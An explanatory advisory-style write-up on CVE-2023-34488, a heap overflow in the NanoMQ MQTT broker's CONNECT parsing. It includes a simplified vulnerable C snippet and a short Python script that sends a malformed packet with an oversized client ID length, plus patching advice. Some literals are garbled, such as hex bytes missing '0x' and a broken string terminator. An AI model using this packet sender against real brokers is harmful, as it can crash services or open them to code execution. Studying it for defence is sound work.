Internet of Things (IoT) devices depend on lightweight, fast messaging systems to keep communication smooth and reliable. NanoMQ, a popular MQTT broker, is used in many applications ranging from smart homes to industrial devices. However, recently a critical vulnerability (CVE-2023-34488) was discovered in version .17.5. This flaw can let attackers abuse a heap buffer overflow in the conn_handler function of mqtt_parser.c — all by sending specially crafted, malformed messages.

If you run NanoMQ or use consumer or industrial devices powered by it, this article explains the vulnerability in plain English, how an exploit might work, and what you should do about it.

What is NanoMQ?

NanoMQ is an open-source, ultra-lightweight MQTT broker, mainly written in C. It is designed for low-powered devices and high-volume sensor networks. MQTT (Message Queuing Telemetry Transport) is the industry-standard protocol for IoT device communication.

Affected Version: NanoMQ .17.5 and possibly earlier

- Exploit Impact: Remote attacker can trigger a crash or potentially execute arbitrary code with the permissions of the NanoMQ process.

How Does It Happen?

The flaw occurs when the server miscalculates the size of incoming MQTT connect packets. Not enough boundary checking is done, so a malformed packet can make the server write data outside the bounds of an allocated memory region (the heap). This is a classic heap-buffer-overflow scenario.

Let’s look at a simplified C code fragment illustrating the problem (note: actual code may differ)

// mqtt_parser.c
int conn_handler(packet_t *pkt) {
    uint8_t *client_id;
    uint16_t client_id_len;

    // assume pkt->body points to the payload
    // [2 bytes length][string...]
    client_id_len = *(uint16_t *)(pkt->body); // [1]
    client_id = malloc(client_id_len + 1);
    if (!client_id) {
        // handle error
    }

    // [Problem] No check if client_id_len > actual pkt->body length
    memcpy(client_id, pkt->body + 2, client_id_len);
    client_id[client_id_len] = '\';

    // ... further processing ...
    free(client_id);
}

At [1], client_id_len is read from the incoming packet. The code trusts this value.

- Later, the code allocates memory based on that length, regardless of how much data the packet actually contains.
- memcpy copies as much as client_id_len, which can overrun the end of the body buffer, smashing adjacent memory (heap overflow).

Step 1: Craft a Malformed CONNECT Packet

The attacker sends a specially crafted MQTT "CONNECT" packet where the client_id length field (client_id_len) is set to a very big number — far larger than the actual payload included.

Step 2: Trigger the Heap Overflow

When conn_handler processes the packet, it allocates insufficient memory and tries to copy more bytes than were actually received, causing a heap buffer overflow.

Example of a Malicious Packet (Python Pseudo-code)

import socket

def send_malicious_packet(host, port):
    s = socket.socket()
    s.connect((host, port))
    # MQTT CONNECT packet header: type=x10, remaining length fake
    pkt = bytearray([
        x10, x10,       # Fixed header
        x00, x04,       # Protocol Name Length
        ord('M'), ord('Q'), ord('T'), ord('T'),
        x04,             # Protocol Level
        x02,             # Connect Flags
        x00, x3C,       # Keepalive
        xFF, xFF,       # ClientID length: 65535 (way bigger than actual)
        # No client id bytes!
    ])
    s.send(pkt)
    # Connection may be reset/crash, depending on exploit
    s.close()

# Usage
send_malicious_packet("nanomq.server.ip", 1883)

References & Further Reading

- Official CVE Record: CVE-2023-34488
- NanoMQ GitHub Repository
- NanoMQ Security Advisories
- MQTT Spec (OASIS)

What Should I Do?

- Patch: Upgrade NanoMQ to the latest version where this vulnerability is fixed.
- Network Controls: Only allow trusted sources to connect to your MQTT broker. Firewalls and authentication are good defenses.

Closing

CVE-2023-34488 is a serious reminder that C-based IoT middleware needs strict bounds checking everywhere user data is processed. If you run NanoMQ or depend on it indirectly, update now before attackers throw malformed packets your way.


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Note: This write-up is for educational purposes. Never use exploits against systems you do not own or have explicit permission to test.

Timeline

Published on: 06/12/2023 14:15:00 UTC
Last modified on: 06/16/2023 03:56:00 UTC